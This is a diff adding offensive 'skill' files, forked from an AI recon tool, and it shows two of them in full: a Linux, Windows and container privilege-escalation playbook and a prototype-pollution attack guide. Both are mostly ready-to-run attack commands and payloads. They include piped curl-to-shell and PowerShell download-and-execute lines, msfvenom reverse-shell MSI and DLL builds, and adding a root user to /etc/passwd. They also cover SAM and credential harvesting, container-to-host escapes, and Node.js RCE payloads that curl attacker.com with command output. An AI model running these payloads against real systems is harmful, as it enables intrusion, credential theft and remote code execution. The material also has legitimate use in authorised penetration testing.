- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,320 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: privilege-escalation
|
|
5
|
+
description: Linux and Windows privilege escalation techniques covering SUID, sudo, services, credentials, and container escape
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Privilege Escalation
|
|
9
|
+
|
|
10
|
+
After gaining initial access, the goal is to elevate privileges to root/SYSTEM. Enumerate thoroughly before attempting any exploit — most PE is logic abuse, not CVE exploitation.
|
|
11
|
+
|
|
12
|
+
## Immediate Triage (Run First)
|
|
13
|
+
|
|
14
|
+
id && whoami && hostname && uname -a
|
|
15
|
+
cat /etc/os-release
|
|
16
|
+
ip a; netstat -tulpn 2>/dev/null || ss -tulpn
|
|
17
|
+
cat /etc/passwd | grep -v nologin | grep -v false
|
|
18
|
+
sudo -l
|
|
19
|
+
|
|
20
|
+
Automated enumeration — run both, compare results:
|
|
21
|
+
|
|
22
|
+
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /tmp/linpeas.txt
|
|
23
|
+
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh -O /tmp/lse.sh && bash /tmp/lse.sh -l 2
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## Linux Privilege Escalation
|
|
28
|
+
|
|
29
|
+
### SUID / SGID Binaries
|
|
30
|
+
|
|
31
|
+
find / -perm -4000 -type f 2>/dev/null
|
|
32
|
+
find / -perm -2000 -type f 2>/dev/null
|
|
33
|
+
|
|
34
|
+
Cross-reference every result with GTFOBins: https://gtfobins.github.io/
|
|
35
|
+
Common abusable SUIDs: `bash`, `find`, `vim`, `python`, `perl`, `php`, `nmap`, `awk`, `cp`, `mv`
|
|
36
|
+
|
|
37
|
+
# nmap (old versions with interactive mode)
|
|
38
|
+
nmap --interactive
|
|
39
|
+
nmap> !sh
|
|
40
|
+
|
|
41
|
+
# find with SUID
|
|
42
|
+
find / -name . -exec /bin/sh -p \; -quit
|
|
43
|
+
|
|
44
|
+
# Python with SUID
|
|
45
|
+
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
|
|
46
|
+
|
|
47
|
+
### Sudo Misconfigurations
|
|
48
|
+
|
|
49
|
+
sudo -l
|
|
50
|
+
|
|
51
|
+
Key patterns:
|
|
52
|
+
- `NOPASSWD: ALL` → `sudo su` or `sudo bash`
|
|
53
|
+
- `NOPASSWD: /usr/bin/vim` → `sudo vim -c ':!/bin/bash'`
|
|
54
|
+
- `NOPASSWD: /usr/bin/find` → `sudo find / -exec /bin/bash \;`
|
|
55
|
+
- `NOPASSWD: /usr/bin/python*` → `sudo python3 -c 'import pty;pty.spawn("/bin/bash")'`
|
|
56
|
+
- `env_keep+=LD_PRELOAD` → write shared lib that calls setuid(0)+setgid(0)+system("/bin/bash")
|
|
57
|
+
- `(root) NOPASSWD: /path/to/script.sh` → if writable → overwrite with shell
|
|
58
|
+
|
|
59
|
+
### Cron Jobs and Scheduled Tasks
|
|
60
|
+
|
|
61
|
+
crontab -l
|
|
62
|
+
cat /etc/crontab
|
|
63
|
+
ls -la /etc/cron.*
|
|
64
|
+
find / -name "*.sh" -writable 2>/dev/null
|
|
65
|
+
|
|
66
|
+
Targets:
|
|
67
|
+
- Writable script called by root cron
|
|
68
|
+
- PATH hijack: cron uses relative path, write your own binary earlier in PATH
|
|
69
|
+
- Wildcard injection: `tar -czf /backup/* ` → create `--checkpoint=1 --checkpoint-action=exec=sh privesc.sh`
|
|
70
|
+
|
|
71
|
+
### Writable Files in Critical Paths
|
|
72
|
+
|
|
73
|
+
# /etc/passwd writable (add root user)
|
|
74
|
+
openssl passwd -1 -salt salt pw123
|
|
75
|
+
echo 'r00t:$1$salt$hashhere:0:0:root:/root:/bin/bash' >> /etc/passwd
|
|
76
|
+
|
|
77
|
+
# /etc/shadow writable — replace root hash
|
|
78
|
+
# /etc/sudoers writable — add user ALL=(ALL) NOPASSWD:ALL
|
|
79
|
+
|
|
80
|
+
### Linux Capabilities
|
|
81
|
+
|
|
82
|
+
getcap -r / 2>/dev/null
|
|
83
|
+
|
|
84
|
+
Abusable capabilities:
|
|
85
|
+
- `cap_setuid+ep` on python/perl/ruby → `setuid(0)` then `os.system("/bin/bash")`
|
|
86
|
+
- `cap_net_raw+ep` on ping/tcpdump → packet sniffing
|
|
87
|
+
- `cap_dac_read_search+ep` on tar → read any file
|
|
88
|
+
|
|
89
|
+
# python3 with cap_setuid
|
|
90
|
+
python3 -c "import os; os.setuid(0); os.system('/bin/bash')"
|
|
91
|
+
|
|
92
|
+
### PATH Hijacking
|
|
93
|
+
|
|
94
|
+
echo $PATH
|
|
95
|
+
find / -writable -type d 2>/dev/null | grep -E "^/(usr/local|home|tmp|opt)"
|
|
96
|
+
|
|
97
|
+
If root script calls `service`, `cat`, `ps`, etc without full path:
|
|
98
|
+
|
|
99
|
+
export PATH=/tmp:$PATH
|
|
100
|
+
echo '#!/bin/bash\n/bin/bash' > /tmp/service
|
|
101
|
+
chmod +x /tmp/service
|
|
102
|
+
|
|
103
|
+
### NFS No_root_squash
|
|
104
|
+
|
|
105
|
+
cat /etc/exports
|
|
106
|
+
showmount -e <target>
|
|
107
|
+
|
|
108
|
+
If no_root_squash is set: mount from attacker, create SUID binary as root, execute on target.
|
|
109
|
+
|
|
110
|
+
# On attacker (as root):
|
|
111
|
+
mount -t nfs <target>:/shared /mnt/nfs
|
|
112
|
+
cp /bin/bash /mnt/nfs/rootbash
|
|
113
|
+
chmod +s /mnt/nfs/rootbash
|
|
114
|
+
# On target:
|
|
115
|
+
/shared/rootbash -p
|
|
116
|
+
|
|
117
|
+
### Docker Group
|
|
118
|
+
|
|
119
|
+
id | grep docker
|
|
120
|
+
|
|
121
|
+
If user is in docker group:
|
|
122
|
+
|
|
123
|
+
docker run -it --rm -v /:/mnt alpine chroot /mnt sh
|
|
124
|
+
# Or: docker run -v /:/host --rm -it alpine chroot /host sh
|
|
125
|
+
|
|
126
|
+
### LXD/LXC Group
|
|
127
|
+
|
|
128
|
+
id | grep lxd
|
|
129
|
+
|
|
130
|
+
lxc image import alpine.tar.gz --alias myimage
|
|
131
|
+
lxc init myimage mycontainer -c security.privileged=true
|
|
132
|
+
lxc config device add mycontainer host-root disk source=/ path=/mnt/root recursive=true
|
|
133
|
+
lxc start mycontainer
|
|
134
|
+
lxc exec mycontainer /bin/sh
|
|
135
|
+
# Inside: chroot /mnt/root bash
|
|
136
|
+
|
|
137
|
+
### Kernel Exploits (Last Resort)
|
|
138
|
+
|
|
139
|
+
uname -r
|
|
140
|
+
searchsploit linux kernel $(uname -r | cut -d- -f1)
|
|
141
|
+
|
|
142
|
+
Common: Dirty COW (CVE-2016-5195), Dirty Pipe (CVE-2022-0847), OverlayFS (CVE-2023-0386)
|
|
143
|
+
|
|
144
|
+
# Check dirty pipe (kernel 5.8-5.16)
|
|
145
|
+
ls -la /proc/self/fd
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## Windows Privilege Escalation
|
|
150
|
+
|
|
151
|
+
### Automated Enumeration
|
|
152
|
+
|
|
153
|
+
# PowerShell
|
|
154
|
+
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks
|
|
155
|
+
|
|
156
|
+
# WinPEAS
|
|
157
|
+
.\winpeas.exe > C:\Temp\winpeas_out.txt
|
|
158
|
+
|
|
159
|
+
### AlwaysInstallElevated
|
|
160
|
+
|
|
161
|
+
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
|
162
|
+
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
|
163
|
+
|
|
164
|
+
Both = 1 → generate malicious MSI:
|
|
165
|
+
|
|
166
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f msi -o evil.msi
|
|
167
|
+
msiexec /quiet /qn /i evil.msi
|
|
168
|
+
|
|
169
|
+
### Unquoted Service Paths
|
|
170
|
+
|
|
171
|
+
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '\"'
|
|
172
|
+
|
|
173
|
+
If path: `C:\Program Files\Vulnerable App\service.exe`
|
|
174
|
+
Create: `C:\Program.exe` or `C:\Program Files\Vulnerable.exe`
|
|
175
|
+
|
|
176
|
+
sc start VulnerableService
|
|
177
|
+
|
|
178
|
+
### Weak Service ACLs
|
|
179
|
+
|
|
180
|
+
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
|
|
181
|
+
sc config VulnSvc binpath= "C:\Temp\shell.exe"
|
|
182
|
+
sc start VulnSvc
|
|
183
|
+
|
|
184
|
+
### SeImpersonatePrivilege / Potato Attacks
|
|
185
|
+
|
|
186
|
+
whoami /priv | findstr /i impersonate
|
|
187
|
+
|
|
188
|
+
If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege:
|
|
189
|
+
|
|
190
|
+
# JuicyPotatoNG
|
|
191
|
+
.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami > C:\Temp\out.txt"
|
|
192
|
+
|
|
193
|
+
# PrintSpoofer (Server 2016/2019, Win10)
|
|
194
|
+
.\PrintSpoofer.exe -i -c cmd
|
|
195
|
+
|
|
196
|
+
# GodPotato (most Windows versions)
|
|
197
|
+
.\GodPotato.exe -cmd "cmd /c whoami"
|
|
198
|
+
|
|
199
|
+
### DLL Hijacking
|
|
200
|
+
|
|
201
|
+
# Find missing DLLs in Procmon or via:
|
|
202
|
+
.\Procmon.exe /Quiet /Minimized /BackingFile C:\Temp\log.pml
|
|
203
|
+
|
|
204
|
+
Look for `NAME NOT FOUND` on DLL load from writable directory.
|
|
205
|
+
|
|
206
|
+
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=443 -f dll -o missing.dll
|
|
207
|
+
|
|
208
|
+
### Stored Credentials
|
|
209
|
+
|
|
210
|
+
cmdkey /list
|
|
211
|
+
runas /savecred /user:admin cmd.exe
|
|
212
|
+
|
|
213
|
+
# Registry credentials
|
|
214
|
+
reg query HKLM /f password /t REG_SZ /s
|
|
215
|
+
reg query HKCU /f password /t REG_SZ /s
|
|
216
|
+
|
|
217
|
+
# Unattend files
|
|
218
|
+
dir /s *unattend* *sysprep* 2>nul
|
|
219
|
+
|
|
220
|
+
# SAM/SYSTEM (if accessible)
|
|
221
|
+
reg save HKLM\SAM C:\Temp\sam.hive
|
|
222
|
+
reg save HKLM\SYSTEM C:\Temp\system.hive
|
|
223
|
+
# Transfer and crack: impacket-secretsdump LOCAL -sam sam.hive -system system.hive
|
|
224
|
+
|
|
225
|
+
### LAPS Bypass
|
|
226
|
+
|
|
227
|
+
# Check if LAPS is installed
|
|
228
|
+
Get-Command Get-AdmPwdPassword -ErrorAction SilentlyContinue
|
|
229
|
+
|
|
230
|
+
# Read password if you have ReadProperty rights
|
|
231
|
+
Get-AdmPwdPassword -ComputerName <hostname> | Select-Object -ExpandProperty Password
|
|
232
|
+
|
|
233
|
+
---
|
|
234
|
+
|
|
235
|
+
## Container Escape
|
|
236
|
+
|
|
237
|
+
### Check if You're in a Container
|
|
238
|
+
|
|
239
|
+
cat /proc/1/cgroup | grep -i docker
|
|
240
|
+
ls /.dockerenv 2>/dev/null
|
|
241
|
+
cat /proc/self/status | grep CapEff
|
|
242
|
+
|
|
243
|
+
### Privileged Container
|
|
244
|
+
|
|
245
|
+
# If CapEff includes CAP_SYS_ADMIN:
|
|
246
|
+
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}') | grep sys_admin
|
|
247
|
+
|
|
248
|
+
# Mount host filesystem
|
|
249
|
+
mkdir /tmp/hostfs
|
|
250
|
+
mount /dev/sda1 /tmp/hostfs
|
|
251
|
+
chroot /tmp/hostfs /bin/bash
|
|
252
|
+
|
|
253
|
+
### Docker Socket Exposed
|
|
254
|
+
|
|
255
|
+
ls -la /var/run/docker.sock
|
|
256
|
+
|
|
257
|
+
docker -H unix:///var/run/docker.sock run -it --rm -v /:/mnt alpine chroot /mnt sh
|
|
258
|
+
|
|
259
|
+
### CVE-2019-5736 (runc Overwrite)
|
|
260
|
+
|
|
261
|
+
Affects Docker < 18.09.2 — overwrite runc binary via /proc/self/exe on container exec.
|
|
262
|
+
|
|
263
|
+
### Kubernetes Service Account Token
|
|
264
|
+
|
|
265
|
+
cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
|
266
|
+
APISERVER=https://kubernetes.default.svc
|
|
267
|
+
curl -s $APISERVER/api/v1/namespaces --header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" --insecure
|
|
268
|
+
|
|
269
|
+
---
|
|
270
|
+
|
|
271
|
+
## Post-Exploitation Checklist
|
|
272
|
+
|
|
273
|
+
Once root/SYSTEM:
|
|
274
|
+
|
|
275
|
+
# Linux
|
|
276
|
+
cat /etc/shadow
|
|
277
|
+
cat ~/.bash_history
|
|
278
|
+
find / -name "*.key" -o -name "id_rsa" -o -name "*.pem" 2>/dev/null
|
|
279
|
+
find / -name ".env" 2>/dev/null
|
|
280
|
+
cat /root/.ssh/authorized_keys
|
|
281
|
+
|
|
282
|
+
# Credential files
|
|
283
|
+
find / -name "wp-config.php" -o -name "database.yml" -o -name "settings.py" 2>/dev/null
|
|
284
|
+
|
|
285
|
+
# Pivot: internal network
|
|
286
|
+
arp -a
|
|
287
|
+
cat /etc/hosts
|
|
288
|
+
for port in 22 80 443 3306 5432 6379 27017; do nc -zv <internal_ip> $port 2>&1 | grep open; done
|
|
289
|
+
|
|
290
|
+
---
|
|
291
|
+
|
|
292
|
+
## Key Tools
|
|
293
|
+
|
|
294
|
+
LinPEAS: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
|
|
295
|
+
WinPEAS: .\winpeas.exe
|
|
296
|
+
PowerUp: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
|
|
297
|
+
GTFOBins: web_search "gtfobins <binary_name>"
|
|
298
|
+
LOLBAS: web_search "lolbas <binary_name>"
|
|
299
|
+
Impacket: impacket-secretsdump, impacket-psexec, impacket-wmiexec
|
|
300
|
+
Responder: responder -I eth0 -wv
|
|
301
|
+
CrackMapExec: cme smb <target> -u user -p pass --shares
|
|
302
|
+
Chisel: chisel server/client for tunneling
|
|
303
|
+
Ligolo-ng: more stable pivot/tunnel tool
|
|
304
|
+
|
|
305
|
+
---
|
|
306
|
+
|
|
307
|
+
## Pro Tips
|
|
308
|
+
|
|
309
|
+
1. Run LinPEAS first, pipe to tee — read while it scans
|
|
310
|
+
2. SUID/capabilities + GTFOBins is fastest path; check before anything else
|
|
311
|
+
3. Cron PATH hijack is often overlooked — trace what root's crontab calls without full path
|
|
312
|
+
4. On Windows, check token privileges first — SeImpersonate is almost always instant SYSTEM
|
|
313
|
+
5. Environment variables leak creds constantly — `env | grep -iE "pass|key|secret|token"`
|
|
314
|
+
6. Always check `/opt/`, `/srv/`, `/var/backups/`, `/home/*/.ssh/` for forgotten configs
|
|
315
|
+
7. If in Docker: check cap_sys_admin, socket, and /proc/sched_debug for host info leaks
|
|
316
|
+
8. Document EVERY privilege gained — screenshot id/whoami output as evidence
|
|
317
|
+
|
|
318
|
+
## Summary
|
|
319
|
+
|
|
320
|
+
Most PE chains are: enumerate blindly → find misconfiguration → abuse it. CVE exploitation is last resort. Start with sudo -l, SUID, cron, and stored creds before reaching for kernel exploits.
|
|
@@ -0,0 +1,242 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: prototype-pollution
|
|
5
|
+
description: Prototype pollution attacks covering client-side DOM XSS gadgets, server-side Node.js RCE chains, and framework-specific exploitation
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Prototype Pollution
|
|
9
|
+
|
|
10
|
+
Prototype pollution lets attackers inject properties into the JavaScript Object prototype, causing those properties to appear on every object in the runtime. Client-side: leads to DOM XSS via gadgets. Server-side (Node.js): leads to RCE, auth bypass, or privilege escalation.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Core Concept
|
|
15
|
+
|
|
16
|
+
JavaScript property lookup walks the prototype chain. If `Object.prototype.x = "evil"` is set, then `({}).x === "evil"` is true for any object.
|
|
17
|
+
|
|
18
|
+
Vulnerable merge pattern:
|
|
19
|
+
|
|
20
|
+
function merge(target, source) {
|
|
21
|
+
for (let key in source) {
|
|
22
|
+
target[key] = source[key]; // No hasOwnProperty check
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
merge({}, JSON.parse('{"__proto__":{"admin":true}}'));
|
|
26
|
+
console.log({}.admin); // true — Object.prototype polluted
|
|
27
|
+
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
## Client-Side Prototype Pollution
|
|
31
|
+
|
|
32
|
+
### Finding Pollution Sinks
|
|
33
|
+
|
|
34
|
+
# URL fragment/query sources commonly parsed and merged
|
|
35
|
+
# Test: https://target.com/#__proto__[testprop]=testval
|
|
36
|
+
# Or: https://target.com/?__proto__[testprop]=testval
|
|
37
|
+
|
|
38
|
+
# In browser console after visiting URL:
|
|
39
|
+
Object.prototype.testprop // Should return "testval" if vulnerable
|
|
40
|
+
|
|
41
|
+
# Also test constructor pollution:
|
|
42
|
+
# ?constructor[prototype][testprop]=testval
|
|
43
|
+
# ?__proto__.testprop=testval (dot notation)
|
|
44
|
+
|
|
45
|
+
### DOM XSS via Gadgets
|
|
46
|
+
|
|
47
|
+
Once Object.prototype is polluted, look for gadget sinks that use properties from arbitrary objects:
|
|
48
|
+
|
|
49
|
+
**jQuery gadgets:**
|
|
50
|
+
|
|
51
|
+
# html gadget: $.html()/$.append() reads from prototype
|
|
52
|
+
# Payload: ?__proto__[html]=<img src=1 onerror=alert(1)>
|
|
53
|
+
# When jQuery does $(element).html(data), it reads .html from prototype if not own property
|
|
54
|
+
|
|
55
|
+
# location gadget
|
|
56
|
+
# Payload: ?__proto__[location]=https://evil.com
|
|
57
|
+
# Some jQuery plugins do element.location which reads from prototype
|
|
58
|
+
|
|
59
|
+
**Angular gadgets (legacy AngularJS):**
|
|
60
|
+
|
|
61
|
+
# ?__proto__[ng-app]= → triggers AngularJS bootstrap
|
|
62
|
+
# ?__proto__[ng-click]=$event.view.alert(1)
|
|
63
|
+
|
|
64
|
+
**Common gadgets from PortSwigger research:**
|
|
65
|
+
|
|
66
|
+
# innerHTML / outerHTML via assign/extend
|
|
67
|
+
# target[property] = source[property] where property comes from prototype
|
|
68
|
+
|
|
69
|
+
# DOMPurify bypass (specific versions):
|
|
70
|
+
# ?__proto__[ALLOWED_ATTR][0]=onerror
|
|
71
|
+
# ?__proto__[documentMode]=9 (triggers IE code path in some DOMPurify versions)
|
|
72
|
+
|
|
73
|
+
**Lodash gadgets:**
|
|
74
|
+
|
|
75
|
+
# Lodash _.defaultsDeep() is pollutable
|
|
76
|
+
# Gadgets via template, set, setWith
|
|
77
|
+
|
|
78
|
+
### Automated Detection
|
|
79
|
+
|
|
80
|
+
# PPScan — browser-based prototype pollution scanner
|
|
81
|
+
# Use browser_action to visit: https://target.com
|
|
82
|
+
# Then execute in console:
|
|
83
|
+
for (let key of ['__proto__', 'constructor', 'prototype']) {
|
|
84
|
+
let url = new URL(location.href);
|
|
85
|
+
url.searchParams.set(key + '[testpp123]', 'testval');
|
|
86
|
+
console.log('Test URL:', url.toString());
|
|
87
|
+
}
|
|
88
|
+
|
|
89
|
+
# DOM Invader (Burp): best automated tool for client-side PP gadget detection
|
|
90
|
+
# Manual equivalent: inject into all URL/hash/postMessage inputs and check Object.prototype
|
|
91
|
+
|
|
92
|
+
---
|
|
93
|
+
|
|
94
|
+
## Server-Side Prototype Pollution (Node.js)
|
|
95
|
+
|
|
96
|
+
### Vulnerable Merge Patterns
|
|
97
|
+
|
|
98
|
+
Common vulnerable functions:
|
|
99
|
+
- `_.merge()` in Lodash < 4.17.11
|
|
100
|
+
- `$.extend(true, {}, user_input)` in jQuery (server-side)
|
|
101
|
+
- `merge`, `deepMerge`, `deepAssign`, `extend` in custom code
|
|
102
|
+
- `Object.assign` is NOT vulnerable (shallow + own properties only)
|
|
103
|
+
- `JSON.parse` into merge functions — user controls JSON → pollutes prototype
|
|
104
|
+
|
|
105
|
+
### RCE via Child Process
|
|
106
|
+
|
|
107
|
+
After polluting `Object.prototype.env` or `Object.prototype.execArgv`:
|
|
108
|
+
|
|
109
|
+
# Payload to inject into JSON/query body:
|
|
110
|
+
{
|
|
111
|
+
"__proto__": {
|
|
112
|
+
"shell": "node",
|
|
113
|
+
"NODE_OPTIONS": "--inspect=evil.com:8080",
|
|
114
|
+
"execArgv": ["--eval", "process.mainModule.require('child_process').exec('curl https://attacker.com/$(id)')"]
|
|
115
|
+
}
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
# Alternative via env:
|
|
119
|
+
{
|
|
120
|
+
"__proto__": {
|
|
121
|
+
"env": {
|
|
122
|
+
"NODE_OPTIONS": "--require /proc/self/fd/0"
|
|
123
|
+
},
|
|
124
|
+
"argv0": "node"
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
|
|
128
|
+
### Authentication Bypass
|
|
129
|
+
|
|
130
|
+
# If app checks: if (!user.isAdmin) { deny() }
|
|
131
|
+
# Pollute: Object.prototype.isAdmin = true
|
|
132
|
+
# POST /api/settings with:
|
|
133
|
+
{"__proto__": {"isAdmin": true}}
|
|
134
|
+
|
|
135
|
+
# If app checks: user.role === 'admin'
|
|
136
|
+
{"__proto__": {"role": "admin"}}
|
|
137
|
+
|
|
138
|
+
# Bypass null check: if (token == null) → pollute Object.prototype
|
|
139
|
+
{"__proto__": {"token": "anything"}}
|
|
140
|
+
|
|
141
|
+
### Privilege Escalation via Status Code
|
|
142
|
+
|
|
143
|
+
# Some apps check: if (user.status === 'active')
|
|
144
|
+
# Pollute status on all objects:
|
|
145
|
+
{"__proto__": {"status": "active", "verified": true, "balance": 999999}}
|
|
146
|
+
|
|
147
|
+
### Finding Vulnerable Endpoints
|
|
148
|
+
|
|
149
|
+
Look for endpoints that:
|
|
150
|
+
1. Accept JSON body with nested objects
|
|
151
|
+
2. Merge/extend user input into existing objects
|
|
152
|
+
3. Use `_.merge`, `deep-assign`, `recursive-assign`, `lodash.merge`
|
|
153
|
+
|
|
154
|
+
# Test all JSON endpoints:
|
|
155
|
+
curl -X POST https://target.com/api/settings \
|
|
156
|
+
-H "Content-Type: application/json" \
|
|
157
|
+
-d '{"__proto__":{"testprop":"testval"}}'
|
|
158
|
+
|
|
159
|
+
# Then check if polluted:
|
|
160
|
+
curl https://target.com/api/any-endpoint # Does response include testprop somehow?
|
|
161
|
+
|
|
162
|
+
# Also test with constructor:
|
|
163
|
+
{"constructor": {"prototype": {"testprop": "testval"}}}
|
|
164
|
+
|
|
165
|
+
---
|
|
166
|
+
|
|
167
|
+
## Framework-Specific
|
|
168
|
+
|
|
169
|
+
### Express.js
|
|
170
|
+
|
|
171
|
+
# Body parser vulnerabilities (fixed in modern versions)
|
|
172
|
+
# qs library vulnerable to: a[__proto__][x]=1 in URL-encoded body
|
|
173
|
+
curl -X POST https://target.com/api/form \
|
|
174
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
175
|
+
-d "user[__proto__][admin]=true"
|
|
176
|
+
|
|
177
|
+
### Mongoose (MongoDB ORM)
|
|
178
|
+
|
|
179
|
+
# Populate/select injection
|
|
180
|
+
# ?__proto__[populate]=users → may cause unexpected DB queries
|
|
181
|
+
# Mongoose model methods may be affected by prototype changes
|
|
182
|
+
|
|
183
|
+
### Pug / Handlebars Templates
|
|
184
|
+
|
|
185
|
+
# Pug < 3.0: prototype pollution leads to RCE via template compilation
|
|
186
|
+
# Payload:
|
|
187
|
+
{
|
|
188
|
+
"__proto__": {
|
|
189
|
+
"block": {
|
|
190
|
+
"callee": {
|
|
191
|
+
"string": "1; process.mainModule.require('child_process').execSync('id > /tmp/pwned')"
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
}
|
|
196
|
+
|
|
197
|
+
# Handlebars < 4.7.7: similar RCE path
|
|
198
|
+
# Template gadget via __defineGetter__ or environment property chains
|
|
199
|
+
|
|
200
|
+
---
|
|
201
|
+
|
|
202
|
+
## Automated Tools
|
|
203
|
+
|
|
204
|
+
# ppmap — server-side prototype pollution scanner
|
|
205
|
+
# Install: go install github.com/kleiton0x00/ppmap@latest
|
|
206
|
+
ppmap -u "https://target.com"
|
|
207
|
+
|
|
208
|
+
# Server-Side Prototype Pollution Scanner (Burp extension equivalent via CLI)
|
|
209
|
+
# Test manually: inject into all JSON bodies and look for behavior changes
|
|
210
|
+
|
|
211
|
+
# Nuclei template check
|
|
212
|
+
nuclei -u https://target.com -t /home/pentester/nuclei-templates/vulnerabilities/ \
|
|
213
|
+
-tags prototype-pollution -o output/pp_scan.txt
|
|
214
|
+
|
|
215
|
+
# Client-side: headless check via browser_action
|
|
216
|
+
# Use execute_js: Object.prototype.testpp123 === undefined ? 'not polluted' : 'POLLUTED'
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## Validation
|
|
221
|
+
|
|
222
|
+
1. Client-side: confirm `Object.prototype.CANARY` is set after visiting the URL
|
|
223
|
+
2. Confirm a gadget executes: use a non-destructive payload like setting `innerHTML` to a static string
|
|
224
|
+
